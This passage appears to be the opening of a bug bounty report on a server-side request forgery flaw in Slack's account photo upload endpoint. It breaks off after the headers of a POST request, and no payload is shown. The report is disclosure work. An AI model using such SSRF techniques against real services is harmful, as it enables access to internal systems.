Slack: SSRF on https://whitehataudit.slack.com/account/photo

During post request to https://whitehataudit.slack.com/account/photo: POST /account/photo HTTP/1.1 Host: whitehataudit.slack.com User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.9; rv:29.0 Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8...